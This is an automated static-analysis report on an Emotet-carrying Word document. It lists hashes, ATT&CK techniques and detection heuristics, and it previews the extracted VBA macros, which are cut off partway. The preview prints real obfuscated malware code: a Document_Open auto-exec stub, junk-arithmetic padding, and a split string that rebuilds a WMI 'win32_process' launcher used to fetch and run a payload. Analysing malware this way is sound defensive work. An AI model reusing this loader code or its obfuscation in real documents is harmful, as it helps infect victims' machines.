Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bc91d23ce538ccd2…

MALICIOUS

Office (OLE)

218.5 KB Created: 2020-08-27 19:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 54260ef9d9f2ded1f46df67fd2377088 SHA-1: aec0022521e61c7ba4b68702280d340ba97cb010 SHA-256: bc91d23ce538ccd2b6c67c96f1bf75feaef826eb23f47dfab14649052bbd3165
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical execution flow. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' further supports this family attribution. The macro's obfuscated code likely attempts to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10175 bytes
SHA-256: c8fa06fc63ee0918409e122c2c3190357ad554fe9675a98aa08416d8a7efb709
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cm32on_ka0jfus9s"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
F5rwxzbfuowsqkbdt.Xbq37kxh8w2e
End Sub


Attribute VB_Name = "F5rwxzbfuowsqkbdt"
Attribute VB_Base = "0{2708258E-68E4-450C-8F34-74BB2E99DE23}{0B41BF71-69B7-4FC2-AC01-3487C9193702}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xbq37kxh8w2e()
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Jcot4f5o9yiafq = 100
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Nv0u0czi39nynxb = ChrW(Jcot4f5o9yiafq + (xw + 5 + jwb + 10))
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Cs3v35yrk8qui8trq = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Nv0u0czi39nynxb + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + F5rwxzbfuowsqkbdt.Iu170235ythnw + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Bqqta6d91epi = Onlfvq7je6_cu2(Cs3v35yrk8qui8trq)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Nfczvs1yy8iuee = F5rwxzbfuowsqkbdt.Hhvan48lpp5.ControlTipText
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zy
... (truncated)

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